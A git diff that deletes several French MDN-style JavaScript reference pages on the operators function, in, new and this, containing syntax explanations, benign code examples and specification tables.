{{SpecName('ES6', '#sec-delete-operator', 'The delete Operator')}}{{Spec2('ES6')}}
{{SpecName('ES5.1', '#sec-11.4.1', 'The delete Operator')}}{{Spec2('ES5.1')}}
{{SpecName('ES1', '#sec-11.4.1', 'The delete Operator')}}{{Spec2('ES1')}}Définition initiale. Implémenté avec JavaScript 1.2.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.delete")}}

- -

Notes de compatibilité

- -

Bien que l'ordre d'itération des objets soit laissé à l'implémentation selon le standard ECMAScript, il semblerait que la plupart des navigateurs utilise un ordre d'itération basé sur l'ordre d'ajout des propriétés (au moins pour les propriétés propres). Toutefois, pour Internet Explorer, lorsqu'on utilise delete sur une propriété puis qu'on redéfinit plus tard une propriété avec le même nom, l'ordre d'itération de cette propriété sera le même que précédemment (alors que dans les autres navigateurs, cette « nouvelle » propriété sera parcourue en dernier).

- -

Aussi, si on veut simuler un tableau associatif ordonné de façon transparente et pour plusieurs navigateurs, il faudra utiliser deux tableaux ou, mieux encore, un objet {{jsxref("Map")}} si celui-ci est disponible.

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_function/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_function/index.html" deleted file mode 100644 index bff2848ad7..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_function/index.html" +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: L'opérateur function -slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_function -tags: - - Function - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators/function ---- -
{{jsSidebar("Operators")}}
- -

Le mot-clé function permet de définir une fonction à l'intérieur d'une expression.

- -
-

Note : Il est également possible de définir des fonctions grâce au constructeur Function et aux déclarations de fonction.

-
- -
{{EmbedInteractiveExample("pages/js/expressions-functionexpression.html")}}
- - - -

Syntaxe

- -
function [nom]([param1[, param2[, ..., paramN]]]) {
-   instructions
-}
- -

Paramètres

- -
-
nom
-
Le nom de la fonction. Peut être omis, auquel cas on parlera d'une fonction anonyme.
-
- -
-
paramN
-
Le nom d'un paramètre à passer à la fonction.
-
- -
-
instructions
-
Les instructions constituant le corps de la fonction.
-
- -
-

Note : À partir d'ES2015/ES6, on peut également former des expressions de fonction avec des fonctions fléchées.

-
- -

Description

- -

Une expression de fonction est très similaire et a presque la même syntaxe qu'une déclaration de fonction (consultez la page sur l'instruction function pour plus de détails). La différence principale entre une expression de fonction et une instruction est le nom de la fonction. En effet, pour les expressions, celui peut être omis (on parle alors d'une fonction anonyme). Consultez l'article Fonctions pour des informations concernant les différences entre les instructions de fonctions et les expressions de fonctions. Une fonction peut être appelée immédiatement après sa définition (on parle alors de fonction invoquée immédiatement ou IIFE pour Immediately Invoked Function Expression en anglais).

- -

Remontée (hoisting) des expressions de fonction

- -

En JavaScript, les expressions de fonction ne sont pas remontées (à la différence des déclarations de fonction). Il est donc impossible d'utiliser les expressions de fonction avant leur définition :

- -
nonRemontée(); // TypeError: nonRemontée is not a function
-
-var nonRemontée = function() {
-  console.log("truc");
-}
-
- -

Exemples

- -

L'exemple qui suit définit une fonction anonyme et l'assigne à une variable x. La fonction renvoie le carré de son paramètre :

- -
var x = function(y) {
-   return y * y;
-};
-
- -

Expression nommée

- -

Si on souhaite faire référence à une fonction au sein du corps de la fonction, il faudra créer une expression de fonction nommée. Le nom sera alors local au corps de la fonction (portée). Cela permet entre autres d'éviter d'utiliser la propriété non-standard arguments.callee.

- -
var math = {
-  'factorielle': function factorielle(n) {
-    if (n <= 1) {
-      return 1;
-    }
-    return n * factorielle(n - 1);
-  }
-};
- -

La variable affectée à l'expression de fonction aura une propriété name. Ce nom n'est pas modifié si la variable est réaffectée. Si le nom de la fonction est absent, ce sera celui de la variable (nom « implicite »). Cela vaut également pour les fonctions fléchées :

- -
var toto = function() {};
-console.log(toto.name); // "toto"
-
-var toto2 = toto;
-console.log(toto2.name); // "toto"
-
-var truc = function machin() {}
-console.log(truc.name); // "machin"
-
- -

IIFE pour Immediately Invoked Function Expression ou expression de fonction immédiatement appelée

- -

On peut utiliser une expression de fonction pour créer une « IIFE », c'est-à-dire une expression de fonction qu'on appelle dès sa définition :

- -
var a = "coucou";
-var b = "monde";
-
-// IIFE
-(function(x, y) {
-  console.log(x + " " + y);
-})(a, b);
-// coucou monde
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-function-definitions', 'Définitions de fonction')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-13', 'Définitions de fonction')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-13', 'Définitions de fonction')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.5.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.function")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_in/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_in/index.html" deleted file mode 100644 index 53c02fb41c..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_in/index.html" +++ /dev/null @@ -1,145 +0,0 @@ ---- -title: L'opérateur in -slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_in -tags: - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators/in ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur in renvoie true si une propriété donnée appartient à l'objet donné (directement ou via sa chaîne de prototype).

- -
{{EmbedInteractiveExample("pages/js/expressions-inoperator.html")}}
- - - -

Syntaxe

- -
propriété in nomObjet
-
- -

Paramètres

- -
-
propriété
-
Une expression évaluée en un nombre ou une chaîne de caractères qui représente le nom d'une propriété ou l'indice d'un tableau.
-
- -
-
nomObjet
-
Le nom de l'objet qu'on souhaite inspecter.
-
- -

Description

- -

Les exemples suivants illustrent certaines utilisation de l'opérateur in.

- -
// Tableaux
-var arbres = ["sapin", "hêtre", "cèdre", "chêne", "érable"];
-0 in arbres        // renvoie true
-3 in arbres        // renvoie true
-6 in arbres        // renvoie false
-"hêtre" in arbres  // renvoie false (l'indice doit être spécifié, pas la valeur à cet indice)
-"length" in arbres // renvoie true (length est une propriété des objets Array)
-Symbol.iterator in arbres // renvoie true (les tableaux sont itérables, à partir d'ES6)
-
-// Objets prédéfinis
-"PI" in Math           // renvoie true
-var ma_chaine = new String("corail");
-"length" in ma_chaine  // renvoie true
-
-// Objets personnalisés
-var voiture = {marque : "Honda", modèle : "Accord", année : 1998};
-"marque" in voiture  // renvoie true
-"modèle" in voiture  // renvoie true
-"marque" in voiture // renvoie true
-"Accord" in voiture // renvoie false
-
- -

L'opérande droit doit toujours être du type objet (et pas un autre type primitif). Par exemple, on peut utiliser une  chaîne créée avec le constructeur String, mais pas une chaîne littérale.

- -
var couleur1 = new String("vert");
-"length" in couleur1 // renvoie true
-var couleur2 = "corail";
-"length" in couleur2 // génère une erreur (couleur n'est pas un objet String)
-
- -

Utilisation de l'opérateur in avec des propriétés supprimées ou indéfinies

- -

Si une propriété est supprimée avec l'opérateur delete, l'opérateur in renvoie false pour cette propriété.

- -
var voiture = {marque : "Honda", modèle : "Accord", année : 1998};
-delete voiture.marque;
-"marque" in voiture  // renvoie false
-
-var arbres = new Array("sapin", "hêtre", "cèdre", "chêne", "érable");
-delete arbres[3];
-3 in arbres // renvoie false
-
- -

Si une propriété est définie à {{jsxref("Objets_globaux/undefined", "undefined")}} mais n'est pas supprimée, l'opérateur in renverra true pour cette propriété.

- -
var voiture = {marque : "Honda", modèle : "Accord", année : 1998};
-voiture.marque = undefined;
-"marque" in voiture  // renvoie true
-
-var arbres = new Array("sapin", "hêtre", "cèdre", "chêne", "érable");
-arbres[3] = undefined;
-3 in arbres // renvoie true
-
- -

Propriétés héritées

- -

L'opérateur in renvoie true pour les propriétés qui appartiennent à la chaîne de prototypes. SI on souhaite la présence d'une propriété non-héritée, on utilisera plutôt {{jsxref("Object.prototype.hasOwnProperty()")}}.

- -
"toString" in {}; // renvoie true
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-relational-operators', 'Opérateurs relationnels')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-11.8.7', 'Opérateur in')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-11.8.7', 'Opérateurs in')}}{{Spec2('ES3')}}Définition initiale. Implémentée avec JavaScript 1.4.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.in")}}

- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_new/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_new/index.html" deleted file mode 100644 index b82a898dc9..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_new/index.html" +++ /dev/null @@ -1,200 +0,0 @@ ---- -title: L'opérateur new -slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_new -tags: - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators/new ---- -
{{jsSidebar("Operators")}}
- -

L'opérateur new permet de créer une instance d'un certain type d'objet à partir du constructeur qui existe pour celui-ci (natif ou défini par l'utilisateur).

- -

Le mot-clé new, utilisé avec une fonction, applique les 4 étapes suivantes :

- -
    -
  1. Il crée un nouvel objet à partir de zéro
    2. -
  2. Il lie cet objet à un autre objet en le définissant comme son prototype.
    3. -
  3. Le nouvel objet, créé à l'étape 1, est passé comme valeur this à la fonction
    4. -
  4. Si la fonction ne renvoie pas d'objet, c'est la valeur this qui est renvoyée.
    5. -
- -
{{EmbedInteractiveExample("pages/js/expressions-newoperator.html")}}
- - - -

Syntaxe

- -
new constructeur[([arguments])]
- -

Paramètres

- -
-
constructeur
-
Une fonction ou une classe qui définit le type de l'objet qui sera une instance.
-
- -
-
arguments
-
Une liste de valeurs correspondant aux arguments avec lesquels appeler le constructeur.
-
- -

Description

- -

La création d'un objet personnalisé se fait en deux étapes :

- -
    -
  1. Définition du type d'objet en écrivant une fonction.
    2. -
  2. Création d'une instance de l'objet avec new.
    3. -
- -

Pour définir un type d'objet, créez une fonction pour ce type qui spécifie son nom, ses propriétés et ses méthodes. Un objet peut avoir des propriétés qui sont elles-mêmes des objets, comme on pourra le voir dans les exemples ci-dessous.

- -

Lorsque le code new Toto(...) est exécuté, voici ce qui se passe :

- -
    -
  1. Un nouvel objet est créé qui hérite de Toto.prototype.
    2. -
  2. La fonction constructrice Toto est appelée avec les arguments fournis, this étant lié au nouvel objet créé. new Toto sera équivalent à new Toto() (i.e. un appel sans argument).
    3. -
  3. L'objet renvoyé par le constructeur devient le résultat de l'expression qui contient new. Si le constructeur ne renvoie pas d'objet de façon explicite, l'objet créé à l'étape 1 sera utilisé. (En général, les constructeurs ne renvoient pas de valeurs mais si on souhaite surcharger le processus habituel, on peut utiliser cette valeur de retour).
    4. -
- -

Il est toujours possible d'ajouter une propriété à un objet défini précédemment. Par exemple, l'instruction voiture1.couleur = "noir" ajoute une propriété couleur à voiture1, et lui assigne une valeur : "noir". Cependant, ceci n'affecte aucunement les autres objets. Pour ajouter une nouvelle propriété à tous les objets du même type, cette propriété doit être ajoutée à la définition du type d'objet Voiture.

- -

Il est possible d'ajouter une propriété partagée par tous les objets d'un type déjà défini auparavant en utilisant sa propriété Function.prototype. Ceci permet de définir une propriété partagée par tous les objets créés avec cette fonction, plutôt que simplement par une seule instance de ce type d'objet. Le code qui suit ajoute une propriété couleur avec la valeur "couleur standard" à tous les objets de type Voiture, et redéfinit ensuite cette valeur avec la chaîne "noir" uniquement pour l'instance d'objet voiture1. Pour plus d'informations, voir la page sur prototype.

- -
function Voiture() {}
-voiture1 = new Voiture();
-voiture2 = new Voiture();
-
-console.log(voiture1.couleur);            // undefined
-
-Voiture.prototype.couleur = "couleur standard";
-console.log(voiture1.couleur);            // couleur standard
-
-voiture1.couleur = "noir";
-console.log(voiture1.couleur);            // noir
-
-console.log(voiture1.__proto__.couleur);  // couleur standard
-console.log(voiture2.__proto__.couleur);  // couleur standard
-console.log(voiture1.couleur);            // noir
-console.log(voiture2.couleur);            // couleur standard
-
- -
-

Note : Si on n'écrit pas l'appel du constructeur avec l'opérateur new, le constructeur est appelé comme une fonction normale et ne crée pas d'objet. Dans ce cas, la valeur de this sera différente.

-
- -

Exemples

- -

Exemple : type d'objet et instance d'objet

- -

Supposons que vous vouliez créer un type d'objet pour les voitures. Vous voulez que ce type d'objet s'appelle Voiture, et qu'il ait des propriétés pour la marque, le modèle et l'année. Pour ce faire, vous écririez la fonction suivante :

- -
function Voiture(marque, modèle, année) {
-   this.marque = marque;
-   this.modèle = modèle;
-   this.année = année;
-}
-
- -

À présent, vous pouvez créer un objet appelé ma_voiture de la manière suivante :

- -
ma_voiture = new Voiture("Volkswagen", "Golf TDi", 1997);
-
- -

Cette instruction crée l'objet ma_voiture et assigne les valeurs spécifiées à ses propriétés. La valeur de ma_voiture.marque est alors la chaîne "Volkswagen", celle de ma_voiture.année est l'entier 1997, et ainsi de suite.

- -

Il est possible de créer un nombre illimité d'objets Voiture en appelant new. Par exemple :

- -
voiture_de_ken = new Voiture("Nissan", "300ZX", 1992);
-
- -

Exemple : propriété d'objet qui est elle-même un autre objet

- -

Supposons que vous ayez défini un objet appelé Personne de la manière suivante :

- -
function Personne(nom, age, surnom) {
-   this.nom = nom;
-   this.age = age;
-   this.surnom = surnom;
-}
-
- -

Et que vous avez ensuite instancié deux nouveaux objets Personne de la manière suivante :

- -
rand = new Personne("Rand McNally", 33, "Randy");
-ken = new Personne("Ken Jones", 39, "Kenny");
-
- -

Vous pouvez alors réécrire la définition de Voiture pour contenir une propriété propriétaire qui reçoit un objet Personne, comme ceci :

- -
function Voiture(marque, modèle, année, propriétaire) {
-   this.marque = marque;
-   this.modèle = modèle;
-   this.année = année;
-   this.propriétaire = propriétaire;
-}
-
- -

Pour instancier les nouveaux objets, vous utiliserez ensuite :

- -
voiture1 = new Voiture("Volkswagen", "Golf TDi", 1997, rand);
-voiture2 = new Voiture("Nissan", "300ZX", 1992, ken);
-
- -

Plutôt que de passer une chaîne littérale ou une valeur entière lors de la création des nouveaux objets, les instructions ci-dessus utilisent les objets rand et ken comme paramètres pour les propriétaires. Pour connaître le nom du propriétaire de voiture2, on peut alors accéder à la propriété suivante :

- -
voiture2.propriétaire.nom
-
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaires
{{SpecName('ESDraft', '#sec-new-operator', 'Opérateur new')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-new-operator', 'Opérateur new')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-11.2.2', 'Opérateur new')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-11.2.2', 'Opérateur new')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-11.2.2', 'Opérateur new')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.operators.new")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Function")}}
    • -
  • {{jsxref("Reflect.construct()")}}
    • -
  • {{jsxref("Object.prototype")}}
    • -
diff --git "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_this/index.html" "b/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_this/index.html" deleted file mode 100644 index a5b23ca81d..0000000000 --- "a/files/fr/web/javascript/reference/op\303\251rateurs/l_op\303\251rateur_this/index.html" +++ /dev/null @@ -1,420 +0,0 @@ ---- -title: L'opérateur this -slug: Web/JavaScript/Reference/Opérateurs/L_opérateur_this -tags: - - JavaScript - - Operator - - Reference -translation_of: Web/JavaScript/Reference/Operators/this ---- -
{{jsSidebar("Operators")}}
- -

En JavaScript, le mot-clé this se comporte légèrement différemment des autres langages de programmation. Son comportement variera également légèrement selon qu'on utilise le mode strict ou le mode non-strict.

- -

Dans la plupart des cas, la valeur de this sera déterminée à partir de la façon dont une fonction est appelée. Il n'est pas possible de lui affecter une valeur lors de l'exécution et sa valeur peut être différente à chaque fois que la fonction est appelée. La méthode {{jsxref("Function.prototype.bind()","bind()")}} a été introduite avec ECMAScript 5 pour définir la valeur de this pour une fonction, indépendamment de la façon dont elle est appelée. ECMAScript 2015 (ES6) a ajouté les fonctions fléchées dans lesquelles this correspond à la valeur du contexte englobant.

- -
{{EmbedInteractiveExample("pages/js/expressions-this.html")}}
- - - -

Syntaxe

- -
this
- -

Valeur

- -

L'objet JavaScript représentant le contexte dans lequel le code courant est exécuté.

- -

Dans le contexte global

- -

Dans le contexte global d'exécution (c'est-à-dire, celui en dehors de toute fonction), this fait référence à l'objet global (qu'on utilise ou non le mode strict).

- -
// Si l'environnement de script est un navigateur,
-// l'objet window sera l'objet global
-console.log(this === window); // true
-
-this.a = 37;
-console.log(window.a); // 37
-
-this.b = "MDN";
-console.log(window.b); // "MDN"
-console.log(b);        // "MDN"
-
- -
-

Note : Il est également possible d'accéder au contexte global avec la propriété {{jsxref("globalThis")}} quel que soit le contexte utilisé pour l'exécution.

-
- -

Dans le contexte d'une fonction

- -

S'il est utilisé dans une fonction, la valeur de this dépendra de la façon dont la fonction a été appelée.

- -

Avec un appel simple

- -
function f1(){
-  return this;
-}
-
-// Dans un navigateur
-f1() === window; // true (objet global)
-
-// Côté serveur (ex. Node)
-f1() === global; // true
-
- -

Dans cet exemple, la valeur de this n'est pas définie lors de l'appel. Le code n'étant pas en mode strict, this doit toujours être un objet et ce sera donc l'objet global (soit {{domxref("Window", "window")}} pour un navigateur).

- -
function f2(){
-  "use strict"; // on utilise le mode strict
-  return this;
-}
-
-f2() === undefined; // true
-
- -

En mode strict, la valeur de this est conservée (il reste le même) entre le moment de sa définition et l'entrée dans le contexte d'exécution. S'il n'est pas défini, il reste undefined. Il pourrait être défini avec n'importe quelle autre valeur, telle que null ou 42 ou "Je ne suis pas this".

- -
Note : Dans ce deuxième exemple,this vaut {{jsxref("undefined")}} car f2 a été appelé sans « base » (ex. : window.f2()). Cette fonctionnalité ne fut pas correctement implémentée dans certains navigateurs aux débuts du mode strict, en effet, certains renvoyaient alors l'objet window.
- -

call et apply

- -

Pour passer this d'un contexte à un autre, on pourra utiliser {{jsxref("Function.prototype.call()", "call()")}} ou {{jsxref("Function.prototype.apply()", "apply()")}} :

- -
// Un objet peut être passé en premier argument
-// de call ou de apply
-var obj = { a: "Toto" };
-
-// Ici, on déclare une variable et la variable est affectée à l'objet global window comme propriété de celui-ci
-var a = "Global";
-
-function whatsThis(arg) {
-  // La valeur de this ici dépend de la façon
-  // dont la fonction est appelée
-  return this.a;
-}
-
-whatsThis();          // 'Global' car celui-ci dans la fonction n'est pas défini, il est donc défini par défaut sur l'objet global window
-whatsThis.call(obj);  // "Toto"
-whatsThis.apply(obj); // "Toto"
-
- -

Lorsque le mot-clé this est utilisé dans le corps d'une fonction, il est possible d'utiliser les méthodes {{jsxref("Function.prototype.call()", "call()")}} ou {{jsxref("Function.prototype.apply()", "apply()")}} pour lier this à un objet donné. Toutes les fonctions héritent de ces méthodes grâce à {{jsxref("Function.prototype")}}.

- -
function ajout(c, d){
-  return this.a + this.b + c + d;
-}
-
-var o = {a:1, b:3};
-
-// Le premier paramètre correspond à l'objet qu'on souhaite
-// lier à 'this', les paramètres suivants sont les arguments
-// à utiliser dans l'appel de la fonction
-ajout.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
-
-// Le premier paramètre correspond à l'objet qu'on souhaite
-// lier à 'this', le second paramètre est le tableau dont les
-// les éléments sont les arguments à passer à la fonction
-ajout.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
-
- -

Note : En mode non-strict, si la valeur à lier à this, passée à call ou apply, n'est pas un objet, le moteur JavaScript tentera de la convertir en un objet grâce à l'opération interne ToObject. Si la valeur est d'un type primitif autre qu'objet, 7 ou 'toto' par exemple, elle sera convertie en un objet grâce au constructeur associé. Ainsi, on aura le nombre 7 converti en un objet grâce à new Number(7) et la chaîne 'toto' convertie en objet grâce à new String('toto').

- -
function truc() {
-  console.log(Object.prototype.toString.call(this));
-}
-
-truc.call(7);     // [object Number]
-truc.call('foo'); // [object String]
-
- -

La méthode bind

- -

Avec ECMAScript 5, une nouvelle fonction fut introduite : {{jsxref("Function.prototype.bind()")}}. Lorsqu'on appelle f.bind(unObjet), on crée une nouvelle fonction qui possède le même corps et la même portée que f, mais où this sera lié, de façon permanente, au premier argument passé à bind, quelle que soit la façon dont la méthode est utilisée.

- -
function f(){
-  return this.a;
-}
-
-var g = f.bind({a:"azerty"});
-console.log(g()); // azerty
-
-var h = g.bind({a:"coucou"}); // bind ne fonctionne qu'une seule fois
-console.log(h()); // azerty
-
-var o = {a:37, f:f, g:g, h:h};
-console.log(o.a, o.f(), o.g(), o.h()); // 37, 37, azerty, azerty
-
- -

Avec les fonctions fléchées

- -

En utilisant les fonctions fléchées, this correspond à la valeur de this utilisé dans le contexte englobant. Lorsqu'on utilise une fonction fléchée dans du code global, this sera l'objet global :

- -
var objetGlobal = this;
-var toto = (() => this);
-console.log(toto() === objetGlobal); // true
- -

Peu importe la façon dont toto sera appelée, this sera toujours l'objet global. Cela est également valable pour les méthodes d'objet (où généralement this correspond à l'objet courant) ou lorsque call, apply ou bind sont utilisés :

- -
// Appelé comme la méthode d'un objet
-var obj = {toto: toto};
-console.log(obj.toto() === objetGlobal); // true
-
-// Ici on utilise call
-console.log(toto.call(obj) === objetGlobal); // true
-// Là on utilise bind
-toto = toto.bind(obj);
-console.log(toto() === objetGlobal); // true
- -

Quelle que soit la méthode utilisée le this de toto sera défini avec la valeur qu'il avait lors de la création (dans l'exemple précédent, il s'agit de l'objet global). Cela vaut également pour les fonctions fléchées créées dans d'autres fonctions : this prendra la valeur de this dans le contexte englobant.

- -
// On crée un objet obj qui a une méthode truc
-// qui renvoie une fonction qui renvoie la
-// valeur de this.
-// La fonction qui est renvoyée est créée sous
-// la forme d'une fonction fléchée. this est
-// donc fixé de façon permanente avec la valeur
-// de this du contexte englobant.
-var obj = { truc : function() {
-                    var x = (() => this);
-                    return x;
-                  }
-          };
-// On appelle truc comme une méthode d'obj, this
-// vaudra donc obj. On récupère la fonction
-// renvoyée par truc et on en stocke une référence
-// avec la variable fn
-var fn = obj.truc();
-
-// On appelle fn sans définir this, par défaut
-// en mode strict cela correspondrait à l'objet
-// global ou à undefined
-console.log(fn() === obj); // true
-
-// Attention à ne pas référence la méthode d'obj
-// sans l'appeler
-var fn2 = obj.truc;
-// Appeler le this de la fonction fléchée dans ce contexte
-// renverra window car c'est le this associé à fn2 (qui
-// correspond au contexte global)
-console.log(fn2()() == window); // true
- -

Dans l'exemple précédent, la fonction affectée à obj.truc renvoie une autre fonction créée sous la forme d'une fonction fléchée. Par conséquent, this vaut toujours obj.truc lorsque la fonction est appelée. Lorsque la fonction est renvoyée, this continue de correspondre à la valeur initiale. Dans ce code, this vaut obj et garde cette valeur, même lorsqu'il est appelé plus tard.

- -

En tant que méthode d'un objet

- -

Lorsqu'une fonction est appelée comme méthode d'un objet, this correspondra à l'objet possédant la méthode qu'on appelle.

- -

Ainsi, dans l'exemple suivant, lorsqu'on appelle o.f(), le this contenu à l'intérieur de la fonction correspond à l'objet o.

- -
var o = {
-  prop: 37,
-  f: function() {
-    return this.prop;
-  }
-};
-
-console.log(o.f()); // 37
-
- -

On notera que ce comportement n'est pas du tout affecté par la façon ou l'endroit de la définition de la fonction. Dans l'exemple précédent, on aurait très bien pu définir la fonction plus tard et la rattacher à une propriété de o plutôt que de la déclarer de cette façon. On aura le même résultat en faisant ainsi :

- -
var o = {prop: 37};
-
-function indépendante() {
-  return this.prop;
-}
-
-o.f = indépendante;
-
-console.log(o.f()); // 37
-
- -

On voit ici que ce qui importe est la façon dont la fonction est appelée et non pas la façon dont elle est définie. Ici la fonction est appelée comme une propriété (méthode) de o.

- -

De la même façon, this n'est affecté que par la référence la plus proche. Autrement dit, dans l'exemple suivant quand on appelle la fonction o.b.g, on appelle la méthode g de l'objet o.b. Ainsi, au moment de l'exécution, this fera référence à o.b. Le fait que cet objet soit une propriété de o n'a aucun impact : seule la référence objet la plus proche compte.

- -
o.b = {g: indépendante, prop: 42};
-console.log(o.b.g()); // 42
-
- -

this sur la chaîne de prototypes de l'objet

- -

Ce qui a été vu ci-avant est également applicable pour les méthodes qui sont présentes sur la chaîne de prototypes de l'objet. Si une méthode se situe sur la chaîne de prototype, this fera référence à l'objet appelant (de la même façon que si la méthode était une propriété directe de l'objet).

- -
var o = {f:function(){ return this.a + this.b; }};
-var p = Object.create(o);
-p.a = 1;
-p.b = 4;
-
-console.log(p.f()); // 5
-
- -

Dans cet exemple, l'objet qui est affecté à la variable p ne possède pas directement la propriété f, il en hérite de par son prototype. Cela n'impacte en rien la détermination de this car la recherche de la propriété f remonte le long de la chaîne de prototype et s'arrête à o. Au début de cette recherche, on a une référence à p.f, aussi this fera référence à l'objet représenté par p. Autrement dit f étant appelé comme une méthode de p, this fera ici référence à p. Cette fonctionnalité fait partie des caractéristiques de l'héritage prototypal de JavaScript.

- -

this dans un getter ou setter

- -

Ici aussi, on a le même principe lorsque la fonction est appelée à partir d'un accesseur (getter) ou d'un mutateur (setter). Une fonction utilisée comme accesseur ou mutateur verra son this lié à l'objet à partir duquel on souhaite accéder/changer la propriété.

- -
function moduleRéel(){
-  return Math.sqrt(this.re * this.re + this.im * this.im);
-}
-
-var o = {
-  re: 1,
-  im: -1,
-  get phase(){
-    return Math.atan2(this.im, this.re);
-  }
-};
-
-Object.defineProperty(o, 'moduleRéel', {
-    get: moduleRéel, enumerable:true, configurable:true});
-
-console.log(o.phase, o.moduleRéel); // logs -0.78 1.4142
-
- -

En tant que constructeur

- -

Lorsqu'une fonction est utilisée comme constructeur (c'est-à-dire qu'elle est invoquée avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new","new")}}), le this correspondant sera lié au nouvel objet en train d'être construit.

- -
-

Note : Par défaut, un constructeur renverra l'objet auquel this fait référence. Cependant si la valeur de retour du constructeur est définie et est un objet, ce sera elle qui sera renvoyée (sinon ce sera la valeur de this).

-
- -
/*
- * Les constructeurs fonctionnent de la façon suivante :
- *
- * function MonConstructeur(){
- *   // le corps de la fonction
- *   // on crée des propriétés sur |this|
- *   // par exemple
- *   this.fum = "nom";
- *   // etc.
- *
- *   // Si la fonction utilise une instruction de
- *   // retour (return) et renvoie un objet
- *   // ce sera cet objet qui sera le résultat de
- *   // l'expression |new|.
- *   // Sinon, le résultat sera l'objet
- *   // lié à |this|
- *   // (ce second cas est celui qu'on rencontre
- *   // fréquemment).
- * }
- */
-
-function C(){
-  this.a = 37;
-}
-
-var o = new C();
-console.log(o.a); // 37
-
-
-function C2(){
-  this.a = 37;
-  return {a:38};
-}
-
-o = new C2();
-console.log(o.a); // 38
-
- -

Dans le dernier exemple (C2), on renvoie un objet lors de la construction. L'objet qui était lié this est alors abandonné. (L'instruction "this.a = 37;" devient alors totalement inutile, bien qu'elle soit exécutée, elle n'aura aucun effet de bord.)

- -

En tant que gestionnaire d'événement DOM

- -

Lorsqu'une fonction est utilisée comme gestionnaire d'événement (event handler), le this correspondant prendra la valeur de l'élément ayant déclenché l'événement (certains navigateurs ne suivent pas cette convention et les gestionnaires sont ajoutés dynamiquement avec d'autres méthodes qu'{{domxref("EventTarget.addEventListener()", "addEventListener()")}}).

- -
// Lorsque cette fonction est appelée
-// comme listener, l'élément associé
-// sera coloré en bleu
-function bluify(e){
-  // Cette proposition est toujours vraie
-  console.log(this === e.currentTarget);
-
-  // true lorsque currentTarget et target correspondent
-  // au même objet
-  console.log(this === e.target);
-
-  this.style.backgroundColor = '#A5D9F3';
-}
-
-// On obtient une liste de tous les éléments
-// contenus dans le document
-var elements = document.getElementsByTagName('*');
-
-// On ajout le listener bluify pour réagier au clic
-// Quand on clique sur un élément, il deviendra bleu
-for(var i=0 ; i<elements.length ; i++){
-  elements[i].addEventListener('click', bluify, false);
-}
- -

En tant que gestionnaire d'événements in-line

- -

Lorsque le code est appelé depuis un gestionnaire d'événement « en ligne » (in-line), la valeur de this correspondra à l'élément du DOM sur lequel on a placé le listener. Ainsi :

- -
<button onclick="console.log(this.tagName.toLowerCase());">
-  Afficher this
-</button>
-
- -

montrera le texte button lorsqu'on cliquera dessus. Attention, seul le code externe verra la valeur de this affectée de cette façon :

- -
<button onclick="console.log((function(){return this})());">
-  Afficher le this interne
-</button>
-
- -

Ici, on utilise this à l'intérieur d'une fonction et il n'est pas défini en amont. Il renvoie donc l'objet global (l'objet window pour un navigateur avec du code non-strict).

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-this-keyword', 'Le mot-clé this')}}{{Spec2('ESDraft')}}
{{SpecName('ES2015', '#sec-this-keyword', 'Le mot-clé this')}}{{Spec2('ES2015')}}
{{SpecName('ES5.1', '#sec-11.1.1', 'Le mot-clé this')}}{{Spec2('ES5.1')}}
{{SpecName('ES3', '#sec-11.1.1', 'Le mot-clé this')}}{{Spec2('ES3')}}
